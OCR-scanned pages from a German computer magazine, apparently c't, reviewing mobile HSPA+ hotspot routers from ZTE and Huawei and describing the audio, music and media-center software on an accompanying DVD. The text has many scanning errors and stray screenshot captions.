21,6 MBit/s. Damit erzielte der Routerim Test
durchweg etwas hohere Durchsatzraten als
die ebenfalls mit 21,6er Modems ausgerdiste-
ten Gerdte von Bandrich, Huawei und ZTE.
Sehr gut gefiel auch das kontrastreiche Dis-
play, zumal die Statusinformationen kompakt
aufbereitet sind. Maximal kann das Router-
chen wie viele andere bis zu funf WLAN-Teil-
nehmer versorgen, beim XSBoxGoPlus kann
man die Zahl per Menu weiter herabsetzen.
4G Systems liel3 aber auch Pluspunkte lie-
gen. So wird das Gerat der vermeintlichen
User-Bequemlichkeit halber ab Werk mit of-
fenem WLAN ausgeliefert. Ein Anschluss fur
externe Mobilfunkantennen ist nicht einge-
baut, WLAN-seitig gibt es nur magere 11g-
Kost, den Zugriff auf den microSD-Slot ver-

Flunderflaches Gehduse, microSD-Slot
von auBlen zugdnglich, aber Orientierung
der Karte unklar: ZTE MF62

sperrt der Akku. Auf die microSD-Karte kann
man nur Gber WLAN per Webinterface zu-
greifen und muss dafir jedem Teilnehmer
das Admin-Passwort verraten.

ZTE MF62

Der ZTE MF62 gehort zu den kleineren Ver-
tretern seiner Gattung. Im flunderflachen Ge-
héduse steckt ein HSPA+-Modem, das brutto
bis zu 21,6 MBit/s liefert. ZTE hat den Zugang
zum microSD-Slot aufRen am Gehduse ange-
bracht, sodass man die Speicherkartchen
auch im Betrieb einsetzen und entfernen
kann. Die Orientierung ist aber mangels Be-
schriftung unklar.

Der Ethernet-USB-Treiber hat im Test wie
bei anderen Teilnehmern wie erwartet funk-
tioniert, ZTE sollte aber noch den Hinweis
spendieren, dass der Treiber am Mac erst nach
einem Neustart des Rechners aktiv wird.

Uber das ansprechende Webinterface
lasst sich der Router einfach einrichten und
bedienen. Der MF62 bringt wie sein groBer
Bruder MF80 eine SMS-Anwendung und
zudem auch ein eigenes Telefonbuch mit.
Das Telefonbuch erfasst Eintrdge auf der
SIM-Karte und kann weitere im Router selbst
vorhalten. Besonders praktisch fanden wir,
dass beide ZTE-Gerdte zusatzlich zur grafi-
schen Angabe des Empfangspegels im Dis-
play auch detailliert Gber die Mobilfunksig-
nalqualitat unterrichten: Im Webinterface fin-
det man eine Pegelanzeige in dBm (RSSI, Re-
ceived Signal Strength Indication) und auch
noch die individuelle Nummer der jeweiligen
Basisstation (CelllD).

Die Pegelanzeige erleichtert die Suche
nach dem optimalen Mobilfunkstandort.
Nutzlich ist aber auch die CelllD-Angabe:
Wenn diese bei stationdrem Betrieb wech-
selt, steht man am Schnittpunkt zwischen
zwei Zellen, hat also die héchste Entfernung
zu den Basisstationen. Solche Empfangsla-
gen sollte man meiden, weil dort das
schlechte Signal-Rauschverhéltnis und die
haufigen Zellwechsel (Handover) den Durch-
satzdricken.

Der ZTE MF80 iiberzeugte mit sehr
hohem Durchsatz, leistete sich aber
Patzer im WLAN-Bereich.
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Hersteller/Anbieter
Firmware-Vers.
Lieferumfang

mitgel. Dokumentation
Ports

Bedienelemente
USB-Treiber
Mobilfunk
Betriebsarten

Frequenzbander UMTS/GSM

max. Down/Upload

Auto-APN

Betriebsartanzeige

Pegelanzeige Balken/dBm
SMS-Kommunikation/Adressbuch
WLAN

802.11b/g/n

max. WLAN-Rate (brutto)

max. WLAN-Clients

Antennen
aufstellbar/abnehmbar/Buchse

interne Antennen/Diversity wahlbar
Modus: 11b/11g/11n/mixed
Verschliisselung: WPA/WPA2
Verschliisselung ab Werk ein

Zwang zur Verschliisselung
WLAN-Autokonfiguration

WLAN abschaltbar/Auto-Aus/ab Werk
aus

Internet-Kommunikation
Idle-Timeout/Auto reconnect
manueller Aufbau/Connect-Anzeige
Zeit-/Volumen-Budget

DHCP: IP-Reservierung

DHCP: DNS einstellbar

Port Forwarding/-Change/-Ranges
Exposed Host/DMZ

statische Routen

MAC-Filter

Paketfilter Dienst/Quelle/Ziel
URL-Filter/ Schliisselwortfilter
Verkehrsstatistik

Konfiguration
Interfaces/Auto-Logout
Smartphone-Anpassung
UPnP/abschaltbar

Femkonf./ab Werk aus

Femkonf. Einschrankung auf Host
Konf. speichern

Online-Hilfe aus Router

erzwingt Passwort-Anderung
Logging

NTP-Client/Server einstellbar/agiert
als Server

Onboard-Speicher/Hotplug
Netzwerkzugriff/Authentifizierung
USB-Zugriff /Dateisystem
Akku-Kapazitat/gemessene Laufzeit
Garantie

Preis

Support-Telefon
Hersteller/Anbieter

Bewertung

Bedienung

Sicherheit

Router-Funktion

siehe Text

@@ sehrqut @ qut
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Netzteil, Akku, USB-Kabel
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Huawei
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Netzteil, Akku, USB-Kabel
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Huawei
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Akku, USB-Kabel
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Huawei
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Netzteil, Akku, USB-Kabel
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USB, microSD', Antenne T5-9
Ein-Ausschalter, WPS-Taste
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USB, microSD!
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1.0.0B02/1.0.0B01
Netzteil, Akku, USB-Kabel
Kurzanl. (deutsch, 16 S.)
USB, microSD

Ein-Ausschalter, WPS-, Reset-Taste

Mac, Win
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ZTE hat sein Router-Flaggschiff, den MF80,
mit einem Mobilfunkmodem ausgerdistet,
das DC-HSPA+-Verbindungen aufbauen
kann, also brutto bis zu 42,2 MBit/s erreicht.
Als einziger Testkandidat versorgt er bis zu 10
WLAN-Stationen gleichzeitig. Zusatzlich zu
den klasseniblichen Elementen — Ein-Aus-
schalter, WPS-Taste, Antennenbuchse, mi-
croSD-Slot - findet man auBen am Gehéuse
eine Connect-Taste mit Zusatzfunktion: Ein
langer Druck darauf schaltet zwischen manu-
ellem und automatischem Verbindungsauf-
bau um, ein kurzer Druck im manuellen
Modus verbindet und trennt vom Internet.
MicroSD-Karten lassen sich im Betrieb
wechseln. Beim MF80 miissen sie aber deut-
lich tiefer in den Slot geschoben werden, so-
dass ein langer Fingernagel oder anderweiti-
ges Werkzeug hilfreich ist. Die Orientierung
der Kartchen gibt auch ZTE nicht an, weder
auf dem Gehduse, noch in der Kurzanleitung.
Im Test baute der MF80 trotz der 11b/g/n-
mixed-Einstellung auch bei sehr guter Sig-

sl 02-de
Network name: T™MOD
Network type: EDGE
Signal level: |
Roaming status: Eﬁpamng
SIM card status: SIM ready
Connection status: Connected
Sent 196.88 KB
Received: 83.62 KB
0Oday O
Duration: hour 28
minutes
Current WiFi user: 1
Battery level:

Prifstand | Mobile Hotspots

Mit dem optionalen
3600-mAh-Akku
erreichte der Huawei
586Bs-2 im Laufzeittest
bis zu 14 Stunden.

nalqualitat nur 11g-Verbin-

dungen auf. Das drickt

den WLAN-Durchsatz und

wirkt sich besonders auf
Ubertragungen zwischen WLAN-
Stationen aus. Dabei beherrscht

der MF80 durchaus auch 11n-Verbin-
dungen - aber nur, wenn man ihn im

Webinterface auf ,11n only” festnagelt.
Das schlieBt aber dltere Stationen, die nur
11g beherrschen, aus.

Das WPA-Passwort ist winzig im Gehduse
aufgedruckt und um das Etikett lesen zu kon-
nen, muss man den Akku entfernen. ZTE ver-
wendet dabei einen Zeichensatz, bei dem
sich das groBBe I und das kleine | kaum unter-
scheiden. Im Test stockte der Betrieb einmal
ohne ersichtlichen Grund. Ein Neustart
brachte den MF80 wieder zur Raison.

Der MF80 lieferte im Durchsatztest die

. besten Werte (Mittelwert 2,4 MByte/s, Spit-

zenwert 2,8 MByte/s).

Fazit

Alle Kandidaten erfullten unterm Strich zu-
mindest die Grundanforderungen an die
Gerateklasse: Sie bauen zuverlassig Internet-
Verbindungen auf und binden Laptops, Tab-
lets und Smartphones tiber WLAN an; die
Akkukapazitaten reichen bei guten Bedin-
gungen fir einen Nachmittag im Internet.
Dabei unterstitzen sie den Nutzer mit knap-
pen, aber verstandlichen Statusnachrichten.

Die vorderen Plédtze belegen der ZTE MF80
und der Huawei E587u-2 gleichauf — wegen
teils deutlicher Patzer kann aber keiner der
beiden seine Vorteile in einen Vorsprung
umsetzen. Allerdings setzen sie sich deutlich
gegenliber den besonders modemseitig
schwacher bestlickten tbrigen Kandidaten
ab. Unter diesen folgen der ZTE MF62, der
Huawei E586Es und E586Bs-2 sowie der
BandLuxe PR39.

Gerade Letzterer hatte mit besserem Web-
interface das Zeug zu mehr. Aber weitere
Feinarbeit kann man sich bei allen Kandida-
ten vorstellen ... (dz)
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Praktisch sind die eigens fiir

Smartphones angepassten Versionen

der Webinterfaces - hier ein Beispiel

vom Huawei E587u-2. ct
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Aufnehmen, schneiden, mischen, vertag-
gen - oder doch lieber nur Musik und Vi-
deos am PC genieBen? Unsere DVD deckt
praktisch alle Anwendungsszenarien ab: Mit
der Spezialversion des Audials Mediaraptor 9
SE konnen Sie Audio und Video von Internet-
Portalen mitschneiden und |hre Medien-

sammlungen auffillen, MediaPortal

\F Dg, prasentiert diese dann mit einer
* ® ;

eleganten, per Fernbedienung

O steuerbaren  Oberfliche. Fir

Computer-Musiker sind zahlrei-
che virtuelle Instrumente und
Klangbaukasten mit dabei, Noten
bringen Sie beispielsweise mit der PriMus c't
Edition aufs Papier. Videotrainings zum Um-
gang mit Adobe Premiere Elements 10 und
zum Filmen mit digitalen Spiegelreflex-
kameras runden das Paket ab.

Audiobearbeitung

Einfach ein schlanker Audioeditor fiir

Stereoprojekte: Mit der Basic Edition
von Acoustica schneidet man fix Audio-
dateien zurecht und speichert das Ergebnis
anschlieBend im MP3-Format - eine im Sys-
tem registrierte LAME.dII des gleichnamigen
MP3-Encoders vorausgesetzt. Beim schnellen
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Auffinden einer bestimmten Stelle in der Au-
diodatei hilft der ,,Scrubber”-Modus (in der
Menuileiste ,,(((1)))" klicken oder, A" driicken),
der kurze Audiosamples um den Cursor
herum abspielt. Ebenfalls der besseren
Orientierung dienen Positionsmarken (,L"
driicken) und Bereichsmarkierungen (Region
auswahlen, ,,R" drlicken), die man einzeln be-
titeln und durch Anfassen der Titelleiste auch
umgruppieren kann. Wie die kommerzielle
Version unterstlitzt Acoustica Basic das ASIO-
Treibermodell und erlaubt es, VST- sowie
DirectX-Plug-ins einzubinden. (vza)

Nach jahrelanger Betaphase der

Version 1.3.x liegt endlich die sta-
bile Version Audacity 2.0 vor. Sie dient als
freie Alternative zu groflen Audiobearbei-
tungsprogrammen wie Adobe Audition oder
Cutmaster. Wie bei den grof3en Vorbildern
kann der Nutzer auch mehrere Tonspuren zu
einem Mix arrangieren.

Verlustbehaftet komprimierte Audio-
dateien lassen sich nicht nur auf das Frame
genau schneiden, sondern auch mit einer
Auswahl von Effekten bearbeiten. Gegen-
Gber den Vorversionen wartet Audacity vor
allem mit besser klingenden Filtern auf. Den
MP3-Encoder LAME muss man wie gehabt

separat nachinstallieren, Gleiches gilt fur die
hinzugekommene FFmpeg-Unterstiitzung.
Uber die LADSPA VST-Bridge lasst sich das
Effekt-Repertoire um VST-Plug-ins erweitern.
Fur diejenigen, die Audacity immer griff-
bereit haben wollen, liegt Audacity Porta-
ble ebenfalls auf der DVD. (Florian Klan/vza)

Bernd Hellers AudioSlicer zerlegt MP3-
Dateien - wie DJ-Mixes oder Radioauf-
nahmen - in einzelne Musikstiicke. Das Pro-
gramm sucht dazu nach stummen Stellen in
der Quelldatei und trennt sie in einzelne
MP3s auf. Das Programm listet alle mégli-
chen Trennstellen auf und zerschneidet
diese nur nach Ruckfrage. Optional verbin-

det es bereits geteilte Musikstlicke wieder.
(Florian Klan/vza)

Wer sich Musik far den Sport zu-

sammenstellen will, dem hilft der
Intervall Music Compositor. Per Drag &
Drop lassen sich hier Songs in einem Mix zu
festgelegten Musik- und Pausen-Intervallen
arrangieren. Dazu wahlt man die gesamte
Spieldauer sowie die Intervalllingen der Mu-
sikausschnitte und Pausen. Die fertige WAV-
Datei mit dem kompletten Mix kann man an-
schlieBend beispielsweise mit ImgBurn auf
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eine CD brennen. Will man die Ausgabe als
MP3 kodieren, muss man zusatzlich LAMEin-
stallieren. (hag)

MIDI & Musik

Der Themenbereich wirkt nur auf den ersten
Blick arg ausgedtinnt: Wir widmen dem Mu-
sikmachen mit und am PC einen eigenen Ar-
tikel ab Seite 108. Daher kommen hier nur ei-
nige Kompositionshilfen zum Zuge:

Das Notensatzprogramm

MuseScore gefillt durch
seine Ubersichtliche Bedienoberflache, das
klare Notenbild und den professionellen
Funktionsumfang. Uber die Computertasta-
tur lassen sich Tonhohen und -langen, Pau-
sen und andere musikalische Zeichen wie
Bindebdgen eingeben. MuseScore erstellt
obendrein Partituren aus MIDI-Dateien und
ladt MusicXML- sowie Capella-Dateien. Die
Ergebnisse speichert das Programm auch als
PDF, PostScript, Wave, SMF oder skalierbare
Vektorgrafik. Anhand des integrierten Soft-
ware-Synthesizers lasst sich die Komposition
direkt anhoren. Music Score Connect (F7)
stellt die Verbindung mit einer Online-Biblio-
thek her, aus der man Partituren anderer An-
wender herunterladen darf. (uh)

Das Notensatzprogramm PriMus
fuhrt ohne lange Einarbeitung zu
schnellen Ergebnissen. Im Unterschied zur
Free-Version bietet die c't-Spezialversion
eine opulente Fille an Zeichenpaletten und
Werkzeugen, die sonst der Standardversion
vorbehalten sind. Die Auswahl an Notensym-
bolen schliet Schlagzeugnotation, Bindebo-
gen, Pausen, Artikulations- und Dynamikzei-
chen sowie Akkord- und Griffsymbole ein.
Ein Assistent hilft beim Anlegen einer neuen
Partitur, damit die fur eine Besetzung not-
wendigen Systeme in der gewlinschten Rei-
henfolge angelegt werden. Notenabstande
und -position legt PriMus automatisch an,
Uberwacht aber nicht die korrekte Anzahl
von Notenwerten pro Takt.
PriMus importiert MIDI-, MusicXML- und
Guitar-Pro-Dateien. Bei MIDI kann man die zu

nn s <€ » Derezzed [0:03/1:44)
£ >

Musik-Bibliothek
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Die Basic-Edition von Acoustica reicht zum Bearbeiten von Stereoprojekten
vollig aus und lasst sich um VST- sowie DirectX-Plug-ins erweitern.

importierenden Spuren und deren Reihenfol-
ge auswahlen. Zum Export stehen die Forma-
te MIDI und MusicXML zur Auswabhl; alterna-
tiv speichert PriMus einzelne Seiten oder Aus-
schnitte als Grafik. Den gesetzten Notentext
spielt PriMus mit einem General-MIDI-Synthe-
sizer ab. Separate Stimmen in einem System
werden mit unterschiedlichem Sound wie-
dergegeben. Die PriMus-c’t-Edition ist auf
120 Takte und 12 Systeme/Instrumente be-
schrénkt - das sind etwa 10 Seiten Notentext.
Aus dem Programm heraus (unter Hilfe/Ver-
gunstigte Upgrade-Moglichkeiten ...) erhal-
ten Leser um 20 bis 50 Euro vergtinstigte Up-
grades auf die aktuellen Vollversionen. (uh)

Tuxguitar orientiert sich

klar an dem bei Gitarristen

auBerst beliebten Guitar Pro, einer Mischung

aus Notationsprogramm und kleinem Se-

quencer. Der Notationsteil kombiniert tradi-

tionelle Notenschrift mit der bei Saitenspie-
lern weitverbreiteten Tabulatur.

Die Zuordnung der einzelnen Spuren zu

den Sounds des integrierten GM-Synthesi-

zers erfolgt Uber den Sequencer in der unte-

Kiinstler: Daft Punk

C: I Album: Tron

M Navigation Genres, Kinstler, Alben,Musikordner , Mein
101 Overture

102 The Grid

& 103 The Son of Flynn
104 Recognizer

> 105 Armory

> 106 Arena

& 107 Rinzler

108 The Game Has Changed
Q109 Outlands

110 Adagio For TRON
& 111 Noctune

& 112 Endof Line
[>113. Derezzed

J 114 Fal

> 115 Solar Saller

& 116 Rectifier

> 117 DiscWars
rriscru
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Der Audioplayer
,Boom” ist mini-
malistisch gehalten:
Erladt in Nullkomma-
nix, auch direkt vom
USB-Stick, bietet Links
zu anderen Titeln
desselben Genres
oder Kiinstlers und
gibt zahlreiche
Formate wieder.

ren Bildschirmhalfte. Einen guten Uberblick
Uber die Leistungsfahigkeit von Tuxguitar
kann man sich verschaffen, indem man sich
einen kostenlosen Account in der Tuxguitar-
Community einrichtet. Anschlieend ist es
moglich, Uber den Browser im Menlpunkt
Tools auf unzdhlige online gespeicherte
Songs zuzugreifen, wenn als Quelle die Tux-
guitar Community gewahlt wurde.
Tuxguitar orientiert sich nicht nur hin-
sichtlich der Funktionalitdt am bereits er-
wdhnten Guitar Pro, es kann sogar dessen
Dateiformat lesen. Damit erweitert sich der
Fundus dieses Helferleins um zahlreiche im
Netz gespeicherte Partituren. Das allerdings
nur bis Version 5 von Guitar Pro, die aktuelle
Version 6 wird derzeit noch nicht unterstitzt.

Player & Streaming

Lange Zeit war der Stereoscopic
Player (siehe unten) der einzig
brauchbare Abspieler flir stereoskopische
3D-Inhalte. Mit Bino gibt es nun eine Alter-
native, die alle wesentlichen Formate unter-
stutzt und auch unter Mac OS X lauft.  (vza)

Wer nur einen einfachen Audioplayer

sucht, sollte sich Boom ansehen. Hier
stehen Einfachheit und Einsteigerfreundlich-
keit im Vordergrund: Das Programm lauft di-
rekt ohne Installation auch vom USB-Stick,
indiziert beim ersten Start automatisch die
lokale Musikbibliothek, zeigt Albumbilder an
und unterstitzt alle wichtigen Audioformate
einschlieBlich AIFF, FLAC, Ogg Vorbis, AAC
und WavPack. (ghi)

Jahrelang schielte mancher Win-

dows-Nutzer verschamt auf Linux:
Dessen Amarok-Audioplayer wartete mit
einer einzigartigen Verbindung von schnor-
kelloser Bedienung, Integration des Musik-
empfehlungsdienstes Last.fm und anderen
Online-Diensten auf. Der auf Amarok 1.4 auf-
setzende Clementine Music Player bringt
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€ Die Arzte
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-« | [

Wisdergabaliste
Neue Liste® (5) ~ ’ Export einstellen ~

Wit das noch Punkrock? (Performanc.. iesae

B st dag nach Punkrack? (Animation) o=

Battma ner (Parformance)
B Batemagnst (Arimation)

B 50hn der Lasre (perfo manca)

B 7R (Perfarmanca)
B 7CR (Animatian)

B D2z aarfat au (Performance)
B Das darfet du (Animarian)

B Tamagorchi (Performarnice)

@ Tamsgotchi (Animation)

B MRF (offizialles video)
BMAF (Lyrics) HQ

Alter Bridge - Ghost of Days Gone By
Die Arzte - Ist das noch Punkrock? (..

1:28

Die Arzte - Miststick (Anmation)
Die Arzte - Cpt. Metal (Animation)

[T
i

Wiedergabeliste enthalt 5 Tracks. 1 ausgewshit

, Suchen ¥,kaufen

& Die Arzte Angekiumpelt (Animat

# ey Aufnehmen ~

Mit dem Audials Mediaraptor 9 SE durchsucht man bequem Audio- und Videoportale
nach musikalischen Inhalten und speichert sie fiir den spateren Gebrauch.

diese Funktionen nun ebenso fir Windows
und Mac OS X; seit kurzem kdnnen auch Nut-
zer der Musik-Flatrate Spotify Premium den
Player als Abspieler verwenden. (vza)

foobar2000 ist einer der geekigsten

Musik-Player: Der Autor hat das Pro-
gramm explizit ,nicht fir jedermann” konzi-
piert. Ein Assistent unterstltzt einen bei der
Einrichtung der Bedienoberflache, danach ist
man auf sich selbst gestellt. Warum sollte
man sich das antun? foobar2000 startet im
Nu, gibt MP3-Dateien und viele andere Au-
dioformate ohne Pausen zwischen den Stu-
cken wieder, spielt auch Dateien direkt aus
ZIP-Archiven und lasst sich durch eine Viel-
zahl an Zusatzmodulen erweitern; ein ID3-
Tagger und andere nitzliche Komponenten
liegen bereits bei. (ghi)

Ein nltzliches Zusatzmodul zur Klang-
verbesserung ist der foobar2000 VST
Wrapper, der VST-Plug-ins einbindet - etwa
Kompressoren oder Multiband-Equalizer.
Nach der Einrichtung des Plug-ins muss
man im Einstellungsdialog (File/Preferences)
unter ,Playback/DSP Manager” den ,George
Yohng's VST Wrapper” in die Liste der Active
DSPs iibertragen. Damit die Erweiterung die
installierten VST-Module auch findet, legt
man sie entweder im foobar-Ordner ab oder
gibt ihren Pfad Giber das Kontextmenu des
Programm-Icons im Infobereich der Taskleis-
te (VST Setup ...) an. Hier kann man auch
festlegen, durch welchen VST-Effekt der Ton
geleitet werden soll. (ghi)

Der in einer Spezialversion vorliegen-
de Audials Mediaraptor 9 speichert
Audio- und Videodateien von zahlreichen
Webportalen. Sucht man nach Kinstlern,
zeigt Mediaraptor deren Discografien an und
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sortiert die Treffer an der richtigen Stelle ein.
Das sorgt fiir Ubersicht, dennoch ist man
nicht davor gefeit, etwa bei YouTube verse-
hentlich eine Coverversion herunterzuladen.
Da hilft nur ein Doppelklick und ein Blick auf
die Vorschau. Klappt der Download nicht,
kann das Programm auch Bildschirminhalte
mitschneiden. Wer die Vollversion aus
Mediaraptor 9 SE heraus erwirbt, dem rdumt
RapidSolution Software einen Rabatt von
20 Euro ein. (vza)

Die quelloffene DJ-Software
Mixxx hat sich mittlerweile zu
einer ernstzunehmenden Konkurrenz flr
kommerzielle Programme entwickelt. Sie
ldsst sich nicht nur mit Maus- und Tastatur,
sondern auch mit MIDI-fahigen DJ-Control-

lern steuern. Zwei parallel laufende Decks
und vier Sampler lassen sich lber den Cross-
fader miteinander mischen. Das Programm
spielt alle gebrduchlichen Songformate ab,
erkennt das Tempo der Tracks, synchronisiert
sie automatisch, setzt Loops und Cue-Punkte
und quantisiert diese. Nur bei den Effekten
muss sich Mixxx Traktor & Co geschlagen
geben. AuBer einem mageren Flanger ist
nichts mit dabei. (hag)

Wer seine Musik nicht in

( einer fremden Cloud la-

gern oder Musik-Flatrates (z. B. Simfy, Spoti-
fy) nutzen will, kann mit wenigen Klicks den
in Java entwickelten Internet-Musikserver
Subsonic an den Start bringen. Auf die Mu-
siksammlung greift man Uber das Web-
Frontend zu; wer mobil per App die Musik
abspielen will, muss dem Programmierer Sin-
dre Mehus mindestens 10 Euro ,spenden”.
Damit Subsonic nach drauBBen telefonieren
kann, muss man ihm ein Loch in die Firewall
bohren (unter Windows Port 8080, bei Mac
OS Port 4040) und den ankommenden Traffic
auf den lokalen Port umleiten. Gleiches gilt
fur den ebenfalls in Java geschriebenen Mu-
sikserver Sockso. Diesen kann man zwar mo-
mentan nur Uiber das Web-Frontend nutzen
(Port 4444), dafir punktet er aber mit der
Last.fm-Einbindung, die Musik &hnlicher
Kunstler aus der eigenen Sammlung emp-
fiehlt. (vza)

Der quelloffene Musik-Player

Songbird ist quasi der Gegenent-
wurf zu foobar2000: leicht zugénglich, optisch
opulent und sozialen Medien zugetan. Das
Programm bringt zahlreiche Add-ons mit, um
Download-Stores, Internet-Radios und Kon-
zerttipps einzubinden. Zusatzliche Erweite-
rungen binden QuickTime- und Windows-
Media-Dateien ein; zur QuickTime-Wieder-
gabe muss allerdings das Plug-in von Apple
installiert sein. Audio-CDs lassen sich mit
Gracenote-Unterstlitzung rippen und ver-

Das kostenlose Mixx kommt inzwischen mit einer Reihe von DJ-Controllern
zurecht und mischt Musik auf zwei Decks und vier Samplern gleichzeitig.
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schlagworten; allerdings kodiert Songbird aus
lizenzrechtlichen Grinden nur FLAC und Ogg
Vorbis. Wahrend der Wiedergabe zeigt Song-
bird in einem Infofenster biografische Daten,
Nachrichten sowie Fotos und Videos des
Kunstlers an. Uber die Community Song-
bird.me lassen sich Bewertungen und Musik-
tipps austauschen. (ghi)

Der Stereoscopic Player von Peter

Wimmer spielt alle denkbaren stereo-
skopischen Videoformate ab, darunter allei-
ne 27 verschiedene Typen von Anaglyphen.
Wahrend die kostenlose Standardversion
grundsétzlich nach funf Minuten einen Neu-
start erfordert, kann man die c’t-Edition auf
unserer Heft-DVD eine Viertelstunde lang
verwenden; die anaglyphen Videodateien
spielt diese Fassung des Players zeitlich un-
begrenzt ab. Aus lizenzrechtlichen Grinden
fehlen die Codecs wie ein MVC-Decoder. Wer
diesen benétigt, muss den Player von 3dtv.at
herunterladen. (vza)

Mit StreamWriter |3sst sich Internet-

Radio zum Wunschprogramm umbie-
gen. Das deutschsprachige Werkzeug zeich-
net ausgewdhlte Streams komplett auf und
schneidet sie anhand der Gbermittelten ID3-
Tags in Einzeltitel. Weniger als 45 Sekunden
lange Stiicke erkennt StreamWriter als Wer-
bung und ignoriert sie. Um Titel manuell
nachzuschneiden, lddt das Programm auto-
matisch ein Encoder-Add-on herunter. Der
Clou ist jedoch der, Listen"-Karteireiter: Hier
kann man bevorzugte Wunschtitel und -inter-
preten eingeben und dann gemiditlich abwar-
ten, bis die Software in den Giber 10 000 auto-
matisch erkannten Streams das Gewiinschte
gefunden und aufgezeichnet hat. In der Stan-
dardeinstellung schreibt StreamWriter die Da-
teien im empfangenen Format auf die Platte;
man kann aber auch festlegen, dass das Pro-
gramm sie beim Speichern in ein bestimmtes
Zielformat konvertieren soll. (ghi)

TV & Media Center

Eine der wenigen vollstandigen Alter-
nativen zum Windows Media Center,
MediaPortal, darf auf einer Audio/Video-DVD
nicht fehlen. Die quelloffene Medienzentrale
unterstitzt alle TV-Empfangsnormen und
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Damit bei der
Wiedergabe
keine Langeweile
aufkommt, be-
liefert Songbird
den Nutzer

unter anderem
mit Kiinstler-
biografien und
Bildergalerien aus
Online-Quellen.

Rock
Rock

kann diese sogar kombinieren. Mit Skins und
zahlreichen Plug-ins lasst sich die Software
weitreichend konfektionieren und der TV-Ser-
ver auf Wunsch sogar auf einem autarken
Rechner betreiben. Bei der Installation ladt
MediaPortal einige bendtigte Programmpake-
te (etwa spezielle DirectX-Runtimes und SQL-
Server) aus dem Internet nach; doch keine
Sorge, mit Ausnahme der Datenbankverkniip-
fung lauft alles vollautomatisch ab. (vza)

Mit MediathekView durch-

stobert man die Online-
Mediatheken der 6ffentlich-rechtlichen Fern-
sehsender. Es listet die angeboteneneSen-
dungen auf und vereinfacht die Suche mit
Filtern. Installiert man zusétzlich den VLC-
Player und den flvstreamer, so lassen sich die
Sendungen komfortabel wiedergeben und
aufzeichnen. Bei Serien sind zudem Abos
moglich, die einzelne Folgen an wiederkeh-
renden Sendeplatzen automatisch aufzeich-
nen. Die Windows-Version bringt den
flvstreamer bereits mit, unter Mac OS X und
Linux muss man beide Programme installie-
ren (c't-Link). (hag)

ProgDVB bietet alles, was man zum

Fernsehen am PC braucht. Es unter-
stlitzt DVB-Empfanger nach dem BDA-Trei-
bermodell in Windows ebenso wie viele an-
dere Empfanger fur Satellit, Kabel oder tiber
Antenne. Uber Textdateien lassen sich ak-
tuelle Transponderlisten einpflegen. Die freie

MediaPortal ist
nach wie vor
eine der wenigen
vollwertigen
Alternativen zum
Windows Media
Center.

Version von ProgDVB wird mit einem zeitlich
begrenzten MPEG-2-Decoder von Elecard
ausgeliefert. Alternativ kann das Programm
auch auf im System installierte Codecs zu-
greifen. (Florian Klan/vza)

Die elektronische Programm-

zeitschrift TV Browser holt
Programminfos von Uber 1000 Fernseh- und
Radiosendern ein und stellt sie in individuell
konfigurierbaren Spalten tbersichtlich dar. Ein
Kalender und ein Zeitfilter lassen einen be-
quem suchen, was wann und wo lauft.  (hag)

Utilities

Auch nach Jahren setzt Exact Audio

Copy (EAC) den Standard, wenn es
darum geht, unter Windows Audio-CDs bit-
genau zu rippen. Es prift die ausgelesenen
Sektoren und gleicht Hash-Werte der Songs
mit der Online-Datenbank von Accurate-Rip
ab. Inzwischen holt EAC auch Meta-Daten zu
den Songs und die Platten-Cover aus ver-
schiedenen Quellen. Wer die Songs als MP3
kodieren will, muss zusatzlich den MP3-Enco-
der LAME installieren, den wir aus lizenz-
rechtlichen Griinden nicht mit auf die DVD
packen konnten (c't-Link). (hag)

Mit dem HCFR Colormeter von
Homecinema-fr.com lassen sich
Bildschirme und Fernseher nach Videostan-
dards wie REC 709 oder sRGB kalibrieren. In
Verbindung mit einem Colorimeter ermittelt
das Programm die Helligkeit der Grundfar-
ben Rot, Griin und Blau fiir zehn unterschied-
liche Grauwerte. Aus den Messwerten be-
rechnet es danach Farbraum, Farbtempera-
tur und Gammaverlauf des Bildschirms. Auf
Basis dieser Ergebnisse kalibriert man im letz-

ten Schritt den Bildschirm oder Fernseher.
(Florian Klan/vza)

Den Umgang mit Microsofts Multime-
dia-Plattform DirectShow erleichtert
GraphStudioNext. Es eignet sich beispiels-
weise, um DirectShow-Diagramme zu pru-
fen, um eigene Programme zu erzeugen
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Das TV- und Radioempfangsprogramm ProgDVB unterstiitzt neben EPG,
Untertiteln und Timeshift/Aufnahmefunktionen auch PayTV und dreht
sogar Sat-Motoren nach dem Standard Diseqc 1.3 (USALS).

oder schlicht, um Fehler aufzuspuren. Nutzt
ein Player etwa nicht den gewiinschten De-
coder, kann man eine Datei in GraphStudio-
Next abspielen und das erzeugte Prozess-
diagramm unter die Lupe nehmen. Das Tool
passt auf Wunsch auch Prioritdten von
DirectShow-Filtern an oder wirft Codecs
ganz aus dem System, benétigt dazu jedoch
Administratorrechte. (vza)

Als Schweizer Taschenmesser zum
Brennen von CDs, DVDs und Blu-ray

Discs erweist sich ImgBurn. Das Programm
nimmt zahlreiche Image-Formate entgegen,
darunter BIN, IMG, ISO, NRG, PDI und CUE-
Sheets. Das Startmenu vereinfacht die Wahl
des richtigen Brennmodus. In den komple-
xen Setup-Mends kénnen Experten jede er-
denkliche Option einstellen. (hag)
Audio-Tagging ist ein kom-

IE | X & plexes und oft muhevolles

Unterfangen. Nicht einmal bei Kaufmusik
kann man sich darauf verlassen, dass Zusam-
menstellungen als solche gekennzeichnet,
Alben-Cover eingepflegt und die Metadaten
vollstandig sind. Diverse Programme wollen
die Aufgabe erleichtern. Kid3 liegt sowohl
fur Linux, und Mac OS als auch ftr Windows
vor. Die aktuelle Version 2.1 behdlt den
schlichten Aufbau der Erstversion bei, sieht
aber deutlich freundlicher und moderner
aus. Tags lassen sich einzeln und fur Gruppen
bearbeiten. Kid3 zeigt auch obskure Meta-
tags an: So eignet es sich optimal, um even-
tuell vorhandenen ,Datenmiill” in den Meta-
daten zu finden und zu entfernen. (ghi)

Einen Blick ins Innere von Audio-
und Videodateien kann man mit
Medialnfo werfen. Das Tool listet fein sau-
berlich gegliedert alle technischen Informa-
tionen zu den in der Datei verwendeten
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Codecs und dem Container-Format auf. Das
ist besonders hilfreich, wenn man Abspiel-
problemen auf die Schliche kommen will
oder Videos erstellen will, die vergleichbare
Parameter verwenden wie eine Vorlage.(vza)

Mix2Stix nimmt dem

X ( Horer die Qual der Wahl ab,
wenn er seinen (zu) kleinen MP3-Stick mit
neuen Songs befiillen will. Die Software wahlt
aus einer MP3-Sammlung einfach zufillig
neue Songs aus und kopiert sie in ein Unter-
